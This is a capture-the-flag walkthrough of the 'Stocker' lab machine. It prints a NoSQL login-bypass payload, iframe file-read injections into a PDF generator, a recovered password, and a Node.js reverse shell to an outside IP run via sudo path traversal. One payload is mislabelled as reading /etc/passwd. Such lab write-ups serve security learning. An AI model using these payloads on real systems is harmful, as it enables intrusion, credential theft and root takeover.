Stocker

Like always start off with nmap:

nmap -sC -sV -T4 10.129.130.51

We have ports 22 and 80 open

Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-14 23:41 EET

Nmap scan report for stocker.htb (10.129.130.51)

Host is up (0.054s latency).

Not shown: 998 closed tcp ports (conn-refused)

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey: 

|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)

|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)

|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)

80/tcp open  http    nginx 1.18.0 (Ubuntu)

|_http-server-header: nginx/1.18.0 (Ubuntu)

|_http-title: Stock - Coming Soon!

|_http-generator: Eleventy v2.0.0

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 9.45 seconds

Usually SSH is not worth to enumerate without any creds so let's focus on web page. The web page redirects us to http://stocker.htb/ so let's add that to our /etc/hosts, type:

sudo nano /etc/hosts

And add entry like this:

stocker-etc

Wappalyzer tells us that the site is made with a static site generator called Eleventy. Nothing interesting here so far. Let's scan for sub-domains with wfuzz:

wfuzz -H "Host: FUZZ.stocker.htb" --hl 7  -w "/opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt" http://stocker.htb/

After not so long it found a new sub-domain dev.stocker.htb!

wfuzz-result

Let's add that entry to our /etc/hosts file. After we are done file should look something like this:

dev-etc

http://dev.stocker.htb seems to be a site built with NodeJS and ExpressJS.

dev-web-1

Dirbusting did not yield any meaningful results so let's focus on getting past this login screen. Sqlmap did not find any injection points but how about NoSQL?

Node apps are not too uncommonly built with NoSQL so let's give it a shot! One common way to pass Mongo/NoSQL login screens is to pass username and password as objects and use $ne -property with some random value which basically structures the query to search for usernames/passwords which are NOT EQUAL to our random values. Let's try that with following payload:

{"username": {"$ne": "dummyusername123"}, "password": {"$ne": "dummypassword123"}}

Let's try to login and before sending let's intercept our request via burp and add our payload:

nosql-injection

stockers

It worked! The app seems to be some kind of web shop. There's not much to it, on front page we can add items to cart:

front-page

And we can submit our order: submit

Which gives us a link to order on a PDF-format:

pdf-clean

Interesting thing about submitting the order is that all the basket-data is sent from client and can be modified if we Intercept our request:

submit-burp

Let's enumerate the pdf a bit more. First download it with curl/wget or browser:

wget http://dev.stocker.htb/api/po/63c325b6411882ff37cf7044

Then run exiftool to view metadata:

exiftool 63c325b6411882ff37cf7044

The result:

ExifTool Version Number         : 12.40

File Name                       : 63c325b6411882ff37cf7044

Directory                       : .

File Size                       : 37 KiB

File Modification Date/Time     : 2023:01:15 00:04:51+02:00

File Access Date/Time           : 2023:01:15 00:04:49+02:00

File Inode Change Date/Time     : 2023:01:15 00:04:49+02:00

File Permissions                : -rw-rw-r--

File Type                       : PDF

File Type Extension             : pdf

MIME Type                       : application/pdf

PDF Version                     : 1.4

Linearized                      : No

Page Count                      : 1

Tagged PDF                      : Yes

Creator                         : Chromium

Producer                        : Skia/PDF m108

Create Date                     : 2023:01:14 22:04:51+00:00

Modify Date                     : 2023:01:14 22:04:51+00:00

What's interesting here is the Creator/Producer fields. This tells us that the PDF is generated via some kind of Chromium web-browser based bot. There's a good article on Hacktricks about abusing this using Server Side XSS. With this we can read files of the system! Theres many variations to this, so let's pick iframe as our element since it directly displays the file. It would be a good idea to check files like /etc/passwd first since it's usually readable by everyone and also knowing users of the machine is useful.

Let's send another order with some random items and intercept the request and modify title-field to be the following:

<iframe width=700px height=1000px style='height:1000px;width:700px;overflow:scroll' src=file:///var/www/dev/index.js></iframe>

The request should look like this:

burp-users

Now check the pdf:

pdf-users

We got the file! There seems to be only two real users on the machine, root and angoose. Since this vulnerability does not give us RCE access next step is to find a password for our users. Let's try to read this apps's index-file to see what's there. We could first read nginx-configuration and check where the web-root is but to save time we can use some logic: The default location of web-root on Linux servers is usually in /var/www and since we are dealing with dev-subdomain and we know that the app is made with NodeJS we can have an educated guess that there is a file index.js in location /var/www/dev/index.js.

Send another order with some random items and intercept the request and add

<iframe width=700px height=1000px style='height:1000px;width:700px;overflow:scroll' src=file:///var/www/dev/index.js></iframe>

to one of the basket item's title. Payload should look something like this:

read-creds

Now if we go to see our generated pdf we get the file:

read-creds-res

We can login with angoose using the password 'IHeardPassphrasesArePrettySecure'! Running

sudo -l

Gives us a command we can run as root:

User angoose may run the following commands on stocker:

    (ALL) /usr/bin/node /usr/local/scripts/*.js

This can be exploited since the path to js-file has a * so we can path traversal to any .js file. Let's create a reverse shell on file /tmp/shell.js with content:

(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(9001, "10.10.14.22", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();

and start our nc-listener on our local machine:

nc -lnvp 9001

And next run the node-command on server with path traversal:

sudo /usr/bin/node /usr/local/scripts/../../../../../tmp/shell.js

We received a shell as root! Machine complete

joonas@joonas-VirtualBox:~/Documents/htb/stocker/www$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.130.51 51294
whoami
root